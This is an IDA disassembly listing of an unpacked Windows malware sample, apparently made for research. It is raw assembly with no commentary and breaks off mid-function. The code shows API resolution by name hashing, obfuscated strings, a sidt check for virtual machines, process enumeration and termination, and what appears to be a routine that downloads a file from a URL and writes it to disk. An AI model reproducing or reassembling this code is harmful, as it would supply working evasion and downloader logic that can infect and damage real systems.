;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	8D9D4C0E75182D2A06DACBADEA0A2AA7

; File Name   :	u:\work\8d9d4c0e75182d2a06dacbadea0a2aa7_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00005000 (  20480.)
; Section size in file		: 00005000 (  20480.)
; Offset to raw	data for section: 00001000
; Flags	E0000080: Bss Executable Readable Writable
; Alignment	: default

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
UPX0		segment	para public 'CODE' use32
		assume cs:UPX0
		;org 401000h
		assume es:nothing, ss:nothing, ds:UPX0,	fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================



sub_401000	proc near		; CODE XREF: sub_40102E+28p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		lea	ecx, [esi-1]
		test	ecx, ecx
		push	2
		pop	eax
		jz	short loc_401015

loc_40100F:				; CODE XREF: sub_401000+13j
		imul	eax, eax
		dec	ecx
		jnz	short loc_40100F

loc_401015:				; CODE XREF: sub_401000+Dj
		movzx	edx, [esp+4+arg_0]
		push	8
		pop	ecx
		sub	ecx, esi
		dec	eax
		shl	eax, cl
		and	eax, edx
		sar	eax, cl
		mov	ecx, esi
		shl	edx, cl
		pop	esi
		or	eax, edx
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================



sub_40102E	proc near		; CODE XREF: sub_401117:loc_401163p
					; sub_4014AE+227p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	100h
		xor	esi, esi
		push	esi
		push	edi
		call	sub_4010BB
		add	esp, 0Ch
		cmp	[esp+8+arg_8], esi
		jle	short loc_40106B
		push	ebx
		mov	ebx, [esp+0Ch+arg_0]

loc_401050:				; CODE XREF: sub_40102E+3Aj
		movzx	eax, byte ptr [ebx]
		push	1
		push	eax
		call	sub_401000
		not	al
		inc	ebx
		mov	[esi+edi], al
		inc	esi
		cmp	esi, [esp+14h+arg_8]
		pop	ecx
		pop	ecx
		jl	short loc_401050
		pop	ebx

loc_40106B:				; CODE XREF: sub_40102E+1Bj
		mov	byte ptr [esi+edi], 0
		pop	edi
		pop	esi
		retn
sub_40102E	endp


; =============== S U B	R O U T	I N E =======================================



sub_401072	proc near		; CODE XREF: sub_401117:loc_4011C7p
		push	esi
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_401087
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	eax, [eax+8]
		jmp	short loc_401090
; ---------------------------------------------------------------------------

loc_401087:				; CODE XREF: sub_401072+7j
		mov	eax, [eax+34h]
		lea	eax, [eax+7Ch]
		mov	eax, [eax+3Ch]

loc_401090:				; CODE XREF: sub_401072+13j
		pop	esi
		retn
sub_401072	endp

; ---------------------------------------------------------------------------
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401094	proc near		; CODE XREF: sub_401C5C+1E6p

var_7		= byte ptr -7
var_1		= byte ptr -1

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_1], 0
		sidt	fword ptr [ebp+var_7]
		mov	eax, dword ptr [ebp+var_7+2]
		and	eax, 0FFF00000h
		cmp	eax, 0FFC00000h
		jnz	short loc_4010B5
		mov	[ebp+var_1], 1

loc_4010B5:				; CODE XREF: sub_401094+1Bj
		movzx	eax, [ebp+var_1]
		leave
		retn
sub_401094	endp


; =============== S U B	R O U T	I N E =======================================



sub_4010BB	proc near		; CODE XREF: sub_40102E+Fp
					; sub_4014AE+EDp ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		test	ecx, ecx
		jz	short loc_4010E9
		mov	al, [esp+arg_4]
		push	ebx
		mov	bl, al
		mov	bh, bl
		mov	edx, ecx
		push	edi
		mov	edi, [esp+8+arg_0]
		shr	ecx, 2
		mov	eax, ebx
		shl	eax, 10h
		mov	ax, bx
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		pop	edi
		pop	ebx

loc_4010E9:				; CODE XREF: sub_4010BB+6j
		mov	eax, [esp+arg_0]
		retn
sub_4010BB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4010EE	proc near		; CODE XREF: sub_4024C7+174p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		mov	eax, [ebp+arg_4]
		jz	short loc_40110E
		mov	ecx, [ebp+arg_0]
		sub	ecx, eax

loc_4010FF:				; CODE XREF: sub_4010EE+1Ej
		mov	dl, [eax]
		dec	[ebp+arg_8]
		mov	[ecx+eax], dl
		inc	eax
		cmp	[ebp+arg_8], 0
		jnz	short loc_4010FF

loc_40110E:				; CODE XREF: sub_4010EE+Aj
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_4010EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_401113	proc near		; CODE XREF: sub_4024C7+Cp
		mov	eax, [esp+0]
		retn
sub_401113	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401117	proc near		; CODE XREF: sub_401117+58p
					; sub_401304+53p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, dword_404104
		add	eax, 0FFFFFFBCh
		sub	esp, 0Ch
		cmp	eax, 95h
		ja	short loc_401132
		inc	dword_404104

loc_401132:				; CODE XREF: sub_401117+13j
		mov	eax, [ebp+arg_0]
		dec	eax
		push	esi
		jz	loc_4011C7
		dec	eax
		jz	short loc_4011B8
		dec	eax
		jz	short loc_4011A9
		dec	eax
		jz	short loc_40119A
		dec	eax
		jz	short loc_40118B
		dec	eax
		jz	short loc_40117C
		dec	eax
		jz	short loc_401156

loc_40114F:				; CODE XREF: sub_401117+1B1j
		xor	eax, eax
		jmp	loc_4012FC
; ---------------------------------------------------------------------------

loc_401156:				; CODE XREF: sub_401117+36j
		push	0Bh
		mov	esi, offset dword_404108
		push	esi
		push	offset dword_40305C

loc_401163:				; CODE XREF: sub_401117+72j
					; sub_401117+81j ...
		call	sub_40102E
		push	0C8AC8026h
		push	1
		call	sub_401117
		add	esp, 14h
		push	esi
		call	eax
		jmp	short loc_4011CC
; ---------------------------------------------------------------------------

loc_40117C:				; CODE XREF: sub_401117+33j
		push	0Ch
		mov	esi, offset dword_404108
		push	esi
		push	offset dword_40304C
		jmp	short loc_401163
; ---------------------------------------------------------------------------

loc_40118B:				; CODE XREF: sub_401117+30j
		push	9
		mov	esi, offset dword_404108
		push	esi
		push	offset dword_403040
		jmp	short loc_401163
; ---------------------------------------------------------------------------

loc_40119A:				; CODE XREF: sub_401117+2Dj
		push	0Bh
		mov	esi, offset dword_404108
		push	esi
		push	offset dword_403034
		jmp	short loc_401163
; ---------------------------------------------------------------------------

loc_4011A9:				; CODE XREF: sub_401117+2Aj
		push	0Ah
		mov	esi, offset dword_404108
		push	esi
		push	offset dword_403028
		jmp	short loc_401163
; ---------------------------------------------------------------------------

loc_4011B8:				; CODE XREF: sub_401117+27j
		push	0Bh
		mov	esi, offset dword_404108
		push	esi
		push	offset loc_40301C
		jmp	short loc_401163
; ---------------------------------------------------------------------------

loc_4011C7:				; CODE XREF: sub_401117+20j
		call	sub_401072

loc_4011CC:				; CODE XREF: sub_401117+63j
		mov	edx, dword_404104
		cmp	edx, 0Ah
		mov	[ebp+arg_0], eax
		jl	short loc_4011E1
		inc	edx
		mov	dword_404104, edx

loc_4011E1:				; CODE XREF: sub_401117+C1j
		cmp	edx, 0F5h
		jle	short loc_4011F2
		push	15h
		pop	edx
		mov	dword_404104, edx

loc_4011F2:				; CODE XREF: sub_401117+D0j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+3Ch]
		mov	esi, [ecx+eax+78h]
		lea	ecx, [edx-6]
		add	esi, eax
		cmp	ecx, 0CEh
		ja	short loc_401210
		inc	edx
		mov	dword_404104, edx

loc_401210:				; CODE XREF: sub_401117+F0j
		mov	ecx, [ebp+arg_4]
		shr	ecx, 10h
		test	cx, cx
		jnz	short loc_401227
		movzx	eax, word ptr [ebp+arg_4]
		sub	eax, [esi+10h]
		jmp	loc_4012CE
; ---------------------------------------------------------------------------

loc_401227:				; CODE XREF: sub_401117+102j
		cmp	edx, 12h
		jl	short loc_401233
		inc	edx
		mov	dword_404104, edx

loc_401233:				; CODE XREF: sub_401117+113j
		cmp	edx, 0ECh
		jle	short loc_401244
		push	19h
		pop	edx
		mov	dword_404104, edx

loc_401244:				; CODE XREF: sub_401117+122j
		push	ebx
		mov	ebx, [esi+24h]
		add	ebx, [ebp+arg_0]
		push	edi
		mov	edi, [esi+20h]
		add	edi, eax
		lea	eax, [edx-6]
		cmp	eax, 0D2h
		mov	[ebp+var_C], ebx
		ja	short loc_401265
		inc	edx
		mov	dword_404104, edx

loc_401265:				; CODE XREF: sub_401117+145j
		and	[ebp+var_4], 0
		cmp	dword ptr [esi+18h], 0
		jbe	short loc_4012B1

loc_40126F:				; CODE XREF: sub_401117+198j
		mov	ecx, [edi]
		add	ecx, [ebp+arg_0]
		and	[ebp+var_8], 0
		mov	al, [ecx]
		test	al, al
		jz	short loc_401296

loc_40127E:				; CODE XREF: sub_401117+17Aj
		mov	ebx, [ebp+var_8]
		movsx	eax, al
		rol	ebx, 7
		xor	ebx, eax
		inc	ecx
		mov	al, [ecx]
		test	al, al
		mov	[ebp+var_8], ebx
		jnz	short loc_40127E
		mov	ebx, [ebp+var_C]

loc_401296:				; CODE XREF: sub_401117+165j
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_8], eax
		jz	short loc_4012FF
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		add	edi, 4
		inc	ebx
		inc	ebx
		cmp	eax, [esi+18h]
		mov	[ebp+var_C], ebx
		jb	short loc_40126F

loc_4012B1:				; CODE XREF: sub_401117+156j
		mov	eax, [ebp+arg_0]

loc_4012B4:				; CODE XREF: sub_401117+1EBj
		cmp	edx, 63h
		pop	edi
		pop	ebx
		jge	short loc_4012C2
		inc	edx
		mov	dword_404104, edx

loc_4012C2:				; CODE XREF: sub_401117+1A2j
		mov	ecx, [ebp+var_4]
		cmp	ecx, [esi+18h]
		jz	loc_40114F

loc_4012CE:				; CODE XREF: sub_401117+10Bj
		mov	ecx, [esi+1Ch]
		mov	esi, [ebp+arg_0]
		lea	eax, [ecx+eax*4]
		mov	ecx, [eax+esi]
		push	37h
		pop	eax
		push	0FFFFFFE2h
		pop	edx

loc_4012E0:				; CODE XREF: sub_401117+1DBj
		cmp	edx, 7Ch
		ja	short loc_4012E7
		inc	eax
		inc	edx

loc_4012E7:				; CODE XREF: sub_401117+1CCj
		add	eax, 2Dh
		add	edx, 2Dh
		cmp	eax, 86h
		jl	short loc_4012E0
		mov	dword_404104, eax
		lea	eax, [ecx+esi]

loc_4012FC:				; CODE XREF: sub_401117+3Aj
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------

loc_4012FF:				; CODE XREF: sub_401117+185j
		movzx	eax, word ptr [ebx]
		jmp	short loc_4012B4
sub_401117	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401304	proc near		; CODE XREF: sub_4029EF+15p

var_94		= dword	ptr -94h
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	52h
		pop	eax
		push	0FFFFFFEEh
		pop	ecx

loc_401313:				; CODE XREF: sub_401304+24j
		cmp	ecx, 8Bh
		ja	short loc_40131D
		inc	eax
		inc	ecx

loc_40131D:				; CODE XREF: sub_401304+15j
		add	eax, 21h
		add	ecx, 21h
		cmp	eax, 0BBh
		jl	short loc_401313
		cmp	byte_404209, 0
		mov	dword_404104, eax
		jz	short loc_40133F
		mov	al, byte_404208
		leave
		retn
; ---------------------------------------------------------------------------

loc_40133F:				; CODE XREF: sub_401304+32j
		push	9C480E24h
		push	1
		mov	byte_404209, 1
		mov	[ebp+var_94], 94h
		call	sub_401117
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_94]
		push	ecx
		call	eax
		cmp	[ebp+var_84], 2
		setz	al
		cmp	dword_404104, 0Fh
		mov	byte_404208, al
		jl	short loc_401385
		inc	dword_404104

loc_401385:				; CODE XREF: sub_401304+79j
		cmp	dword_404104, 0F6h
		jle	short locret_40139B
		mov	dword_404104, 1Eh

locret_40139B:				; CODE XREF: sub_401304+8Bj
		leave
		retn
sub_401304	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40139D	proc near		; CODE XREF: sub_4014AE+285p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_404104
		add	eax, 0FFFFFFACh
		cmp	eax, 0A2h
		ja	short loc_4013B6
		inc	dword_404104

loc_4013B6:				; CODE XREF: sub_40139D+11j
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		inc	edi
		cmp	[ebp+arg_0], 0
		jz	loc_401476
		mov	esi, 99A4299Dh
		push	esi
		push	edi
		call	sub_401117
		pop	ecx
		pop	ecx
		push	[ebp+arg_0]
		push	edi
		push	edi
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_40141A
		cmp	dword_404104, 4Bh
		jge	short loc_4013F0
		inc	dword_404104

loc_4013F0:				; CODE XREF: sub_40139D+4Bj
		push	0FDC94385h
		push	edi
		call	sub_401117
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	ebx
		call	eax
		mov	esi, [ebp+var_4]
		push	9E6FA842h
		push	edi
		call	sub_401117
		pop	ecx
		pop	ecx
		push	esi
		push	ebx
		call	eax
		jmp	short loc_401479
; ---------------------------------------------------------------------------

loc_40141A:				; CODE XREF: sub_40139D+42j
		cmp	dword_404104, 0Eh
		jl	short loc_401429
		inc	dword_404104

loc_401429:				; CODE XREF: sub_40139D+84j
		cmp	dword_404104, 0DDh
		jle	short loc_40143F
		mov	dword_404104, 15h

loc_40143F:				; CODE XREF: sub_40139D+96j
		push	esi
		push	edi
		call	sub_401117
		pop	ecx
		pop	ecx
		push	[ebp+arg_0]
		push	0
		push	edi
		call	eax
		push	9E6FA842h
		push	edi
		mov	ebx, eax
		call	sub_401117
		pop	ecx
		pop	ecx
		push	0FFFFFFFFh
		push	ebx
		call	eax
		push	723EB0D5h
		push	edi
		call	sub_401117
		pop	ecx
		pop	ecx
		push	ebx
		call	eax
		jmp	short loc_401479
; ---------------------------------------------------------------------------

loc_401476:				; CODE XREF: sub_40139D+23j
		mov	ebx, [ebp+arg_0]

loc_401479:				; CODE XREF: sub_40139D+7Bj
					; sub_40139D+D7j
		push	53h
		pop	eax
		push	0FFFFFFFEh
		pop	ecx

loc_40147F:				; CODE XREF: sub_40139D+F5j
		cmp	ecx, 85h
		ja	short loc_401489
		inc	eax
		inc	ecx

loc_401489:				; CODE XREF: sub_40139D+E8j
		add	eax, 17h
		add	ecx, 17h
		cmp	eax, 6Ch
		jl	short loc_40147F
		push	723EB0D5h
		push	edi
		mov	dword_404104, eax
		call	sub_401117
		pop	ecx
		pop	ecx
		push	ebx
		call	eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40139D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4014AE	proc near		; CODE XREF: sub_4029EF+F2p
					; sub_4029EF+2A0p

var_1318	= dword	ptr -1318h
var_318		= byte ptr -318h
var_218		= byte ptr -218h
var_118		= byte ptr -118h
var_117		= byte ptr -117h
var_116		= byte ptr -116h
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1318h
		call	sub_402D30
		push	1Fh
		pop	eax
		push	12h
		pop	ecx

loc_4014C1:				; CODE XREF: sub_4014AE+28j
		cmp	ecx, 0BCh
		ja	short loc_4014CB
		inc	eax
		inc	ecx

loc_4014CB:				; CODE XREF: sub_4014AE+19j
		add	eax, 27h
		add	ecx, 27h
		cmp	eax, 0AEh
		jl	short loc_4014C1
		push	ebx
		push	esi
		push	edi
		push	774393E8h
		push	1
		mov	dword_404104, eax
		call	sub_401117
		pop	ecx
		pop	ecx
		mov	ebx, 100h
		push	ebx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	0
		call	eax
		push	8AC4909Bh
		push	5
		call	sub_401117
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_C]
		push	ecx
		push	1000h
		lea	ecx, [ebp+var_1318]
		push	ecx
		call	eax
		test	eax, eax
		jz	loc_4017AE
		mov	eax, dword_404104
		add	eax, 0FFFFFFECh
		cmp	eax, 0C4h
		ja	short loc_40153C
		inc	dword_404104

loc_40153C:				; CODE XREF: sub_4014AE+86j
		and	[ebp+var_4], 0
		test	[ebp+var_C], 0FFFFFFFCh
		jbe	loc_4017AE
		mov	edi, offset dword_404108

loc_401552:				; CODE XREF: sub_4014AE+2FAj
		mov	eax, [ebp+var_4]
		mov	esi, [ebp+eax*4+var_1318]
		test	esi, esi
		jz	loc_40179C
		cmp	dword_404104, 93h
		jge	short loc_401576
		inc	dword_404104

loc_401576:				; CODE XREF: sub_4014AE+C0j
		push	99A4299Dh
		push	1
		call	sub_401117
		pop	ecx
		pop	ecx
		push	esi
		xor	esi, esi
		push	esi
		push	410h
		call	eax
		push	ebx
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_4010BB
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jz	loc_401789
		push	189F16C9h
		push	5
		call	sub_401117
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_14]
		push	ecx
		push	4
		lea	ecx, [ebp+var_10]
		push	ecx
		push	[ebp+var_8]
		call	eax
		test	eax, eax
		jz	loc_401789
		mov	eax, dword_404104
		add	eax, 0FFFFFFDDh
		cmp	eax, 0CCh
		ja	short loc_4015E6
		inc	dword_404104

loc_4015E6:				; CODE XREF: sub_4014AE+130j
		mov	esi, [ebp+var_10]
		push	0E4FB2191h
		push	5
		call	sub_401117
		pop	ecx
		pop	ecx
		push	ebx
		lea	ecx, [ebp+var_118]
		push	ecx
		push	esi
		push	[ebp+var_8]
		call	eax
		mov	esi, dword_403008
		lea	eax, [ebp+var_118]
		push	eax
		call	esi	; lstrlen
		test	eax, eax
		jz	loc_401789
		cmp	[ebp+var_117], 3Ah
		jnz	loc_401789
		cmp	[ebp+var_116], 5Ch
		jnz	loc_401789
		lea	eax, [ebp+var_118]
		push	eax
		call	esi	; lstrlen
		mov	esi, eax
		jmp	short loc_401644
; ---------------------------------------------------------------------------

loc_401643:				; CODE XREF: sub_4014AE+19Ej
		dec	esi

loc_401644:				; CODE XREF: sub_4014AE+193j
		cmp	[ebp+esi+var_118], 5Ch
		jnz	short loc_401643
		push	[ebp+arg_0]
		call	dword_403008	; lstrlen
		test	eax, eax
		jle	short loc_4016A8
		cmp	dword_404104, 1
		jl	short loc_40166A
		inc	dword_404104

loc_40166A:				; CODE XREF: sub_4014AE+1B4j
		cmp	dword_404104, 0E8h
		jle	short loc_401680
		mov	dword_404104, 15h

loc_401680:				; CODE XREF: sub_4014AE+1C6j
		push	[ebp+arg_0]
		lea	eax, [ebp+esi+var_117]
		push	eax
		call	dword_403004	; lstrcmpi
		test	eax, eax
		jnz	loc_401789
		mov	eax, [ebp+var_4]
		mov	eax, [ebp+eax*4+var_1318]
		jmp	loc_4017D0
; ---------------------------------------------------------------------------

loc_4016A8:				; CODE XREF: sub_4014AE+1ABj
		cmp	dword_404104, 0Fh
		jl	short loc_4016B7
		inc	dword_404104

loc_4016B7:				; CODE XREF: sub_4014AE+201j
		cmp	dword_404104, 0BFh
		jle	short loc_4016CD
		mov	dword_404104, 17h

loc_4016CD:				; CODE XREF: sub_4014AE+213j
		push	0Bh
		push	edi
		push	(offset	loc_40306B+1)
		call	sub_40102E
		push	8A94F707h
		push	7
		call	sub_401117
		add	esp, 14h
		lea	ecx, [ebp+var_18]
		push	ecx
		lea	ecx, [ebp+var_118]
		push	ecx
		call	eax
		test	eax, eax
		jnz	loc_401789
		lea	eax, [ebp+var_318]
		push	eax
		lea	eax, [ebp+var_118]
		push	eax
		call	dword_403004	; lstrcmpi
		test	eax, eax
		jz	short loc_401789
		push	edi
		lea	eax, [ebp+esi+var_117]
		push	eax
		call	dword_403004	; lstrcmpi
		test	eax, eax
		jz	short loc_401789
		mov	eax, [ebp+var_4]
		push	[ebp+eax*4+var_1318]
		call	sub_40139D
		pop	ecx
		lea	eax, [ebp+var_118]
		push	eax
		lea	eax, [ebp+var_218]
		push	eax
		call	dword_403000	; lstrcpy
		push	1
		push	edi
		push	offset loc_403068
		call	sub_40102E
		add	esp, 0Ch
		push	edi
		lea	eax, [ebp+var_218]
		push	eax
		call	dword_40300C	; lstrcat
		push	20E4E9EDh
		push	1
		call	sub_401117
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_218]
		push	ecx
		lea	ecx, [ebp+var_118]
		push	ecx
		call	eax

loc_401789:				; CODE XREF: sub_4014AE+F8j
					; sub_4014AE+11Dj ...
		push	723EB0D5h
		push	1
		call	sub_401117
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		call	eax

loc_40179C:				; CODE XREF: sub_4014AE+B0j
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		shr	eax, 2
		cmp	[ebp+var_4], eax
		jb	loc_401552

loc_4017AE:				; CODE XREF: sub_4014AE+73j
					; sub_4014AE+99j
		push	49h
		pop	eax
		push	8
		pop	ecx

loc_4017B4:				; CODE XREF: sub_4014AE+31Bj
		cmp	ecx, 0A1h
		ja	short loc_4017BE
		inc	eax
		inc	ecx

loc_4017BE:				; CODE XREF: sub_4014AE+30Cj
		add	eax, 2Dh
		add	ecx, 2Dh
		cmp	eax, 0A8h
		jl	short loc_4017B4
		mov	dword_404104, eax

loc_4017D0:				; CODE XREF: sub_4014AE+1F5j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4014AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4017D5	proc near		; CODE XREF: sub_401C5C+287p
					; sub_401C5C+2FBp ...

var_87C		= byte ptr -87Ch
var_47C		= byte ptr -47Ch
var_7C		= dword	ptr -7Ch
var_78		= byte ptr -78h
var_38		= byte ptr -38h
var_28		= byte ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 87Ch
		mov	eax, dword_404104
		push	ebx
		xor	ebx, ebx
		add	eax, 0FFFFFFC2h
		cmp	eax, 0B7h
		mov	[ebp+var_4], ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+var_20], 7D0h
		ja	short loc_401803
		inc	dword_404104

loc_401803:				; CODE XREF: sub_4017D5+26j
		push	esi
		push	edi
		mov	esi, 400h
		push	esi
		lea	eax, [ebp+var_87C]
		push	ebx
		push	eax
		call	sub_4010BB
		push	534D481h
		push	3
		mov	[ebp+var_18], esi
		call	sub_401117
		add	esp, 14h
		lea	ecx, [ebp+var_18]
		push	ecx
		lea	ecx, [ebp+var_87C]
		push	ecx
		push	ebx
		call	eax
		push	5
		mov	edi, offset dword_404108
		push	edi
		push	offset dword_403078
		call	sub_40102E
		add	esp, 0Ch
		push	edi
		lea	eax, [ebp+var_87C]
		push	eax
		call	dword_40300C	; lstrcat
		cmp	dword_404104, 8
		mov	[ebp+var_1C], ebx
		jl	short loc_40186D
		inc	dword_404104

loc_40186D:				; CODE XREF: sub_4017D5+90j
		cmp	dword_404104, 0A3h
		jle	short loc_401883
		mov	dword_404104, 25h

loc_401883:				; CODE XREF: sub_4017D5+A2j
		push	4
		pop	edi

loc_401886:				; CODE XREF: sub_4017D5+3FBj
		push	8593DD7h
		push	edi
		call	sub_401117
		pop	ecx
		pop	ecx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		lea	ecx, [ebp+var_87C]
		push	ecx
		call	eax
		push	0B87DBD66h
		push	edi
		mov	[ebp+var_C], eax
		call	sub_401117
		pop	ecx
		pop	ecx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	[ebp+arg_0]
		push	[ebp+var_C]
		call	eax
		cmp	dword_404104, 5
		mov	[ebp+var_8], eax
		jl	short loc_4018CE
		inc	dword_404104

loc_4018CE:				; CODE XREF: sub_4017D5+F1j
		cmp	dword_404104, 0F6h
		jle	short loc_4018E4
		mov	dword_404104, 14h

loc_4018E4:				; CODE XREF: sub_4017D5+103j
		push	1AD09C78h
		push	edi
		call	sub_401117
		pop	ecx
		pop	ecx
		push	edi
		lea	ecx, [ebp+var_20]
		push	ecx
		push	2
		push	[ebp+var_C]
		call	eax
		push	1AD09C78h
		push	edi
		call	sub_401117
		pop	ecx
		pop	ecx
		push	edi
		lea	ecx, [ebp+var_20]
		push	ecx
		push	6
		push	[ebp+var_C]
		call	eax
		push	1AD09C78h
		push	edi
		call	sub_401117
		pop	ecx
		pop	ecx
		push	edi
		lea	ecx, [ebp+var_20]
		push	ecx
		push	5
		push	[ebp+var_C]
		call	eax
		mov	eax, dword_404104
		add	eax, 0FFFFFFF9h
		cmp	eax, 0C3h
		ja	short loc_401944
		inc	dword_404104

loc_401944:				; CODE XREF: sub_4017D5+167j
		push	2F5CE027h
		push	edi
		mov	[ebp+var_14], ebx
		mov	[ebp+var_4], edi
		call	sub_401117
		pop	ecx
		pop	ecx
		push	ebx
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_14]
		push	ecx
		push	20000005h
		push	[ebp+var_8]
		call	eax
		mov	eax, [ebp+var_14]
		lea	ecx, [eax-401h]
		cmp	ecx, 48FDEh
		ja	loc_401AAE
		cmp	dword_404104, 0A8h
		jge	short loc_401991
		inc	dword_404104

loc_401991:				; CODE XREF: sub_4017D5+1B4j
		push	8F8F114h
		push	1
		call	sub_401117
		pop	ecx
		pop	ecx
		push	ebx
		push	80h
		push	edi
		push	ebx
		push	2
		push	40000000h
		push	[ebp+arg_4]
		call	eax
		push	esi
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_47C]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		call	sub_4010BB
		push	1A212962h
		push	edi
		mov	[ebp+var_18], esi
		call	sub_401117
		add	esp, 14h
		lea	ecx, [ebp+var_4]
		push	ecx
		push	esi
		lea	ecx, [ebp+var_47C]
		push	ecx
		push	[ebp+var_8]
		call	eax
		push	2Ah
		test	eax, eax
		pop	eax
		push	0Ch
		setnz	cl
		pop	edx

loc_4019F4:				; CODE XREF: sub_4017D5+232j
		cmp	edx, 0BEh
		ja	short loc_4019FE
		inc	eax
		inc	edx

loc_4019FE:				; CODE XREF: sub_4017D5+225j
		add	eax, 19h
		add	edx, 19h
		cmp	eax, 7Fh
		jl	short loc_4019F4
		mov	dword_404104, eax
		jmp	short loc_401A74
; ---------------------------------------------------------------------------

loc_401A10:				; CODE XREF: sub_4017D5+2A2j
		cmp	cl, bl
		jz	short loc_401A79
		mov	eax, [ebp+var_4]
		push	0F3FD1C3h
		push	1
		mov	[ebp+var_24], eax
		call	sub_401117
		pop	ecx
		pop	ecx
		push	ebx
		lea	ecx, [ebp+var_28]
		push	ecx
		push	[ebp+var_24]
		lea	ecx, [ebp+var_47C]
		push	ecx
		push	[ebp+var_10]
		call	eax
		push	esi
		lea	eax, [ebp+var_47C]
		push	ebx
		push	eax
		call	sub_4010BB
		push	1A212962h
		push	edi
		mov	[ebp+var_18], esi
		mov	[ebp+var_4], ebx
		call	sub_401117
		add	esp, 14h
		lea	ecx, [ebp+var_4]
		push	ecx
		push	esi
		lea	ecx, [ebp+var_47C]
		push	ecx
		push	[ebp+var_8]
		call	eax
		test	eax, eax
		setnz	cl

loc_401A74:				; CODE XREF: sub_4017D5+239j
		cmp	[ebp+var_4], ebx
		ja	short loc_401A10

loc_401A79:				; CODE XREF: sub_4017D5+23Dj
		push	58h
		pop	eax
		push	0FFFFFFFAh
		pop	ecx

loc_401A7F:				; CODE XREF: sub_4017D5+2BDj
		cmp	ecx, 89h
		ja	short loc_401A89
		inc	eax
		inc	ecx

loc_401A89:				; CODE XREF: sub_4017D5+2B0j
		add	eax, 19h
		add	ecx, 19h
		cmp	eax, 6Eh
		jl	short loc_401A7F
		push	723EB0D5h
		push	1
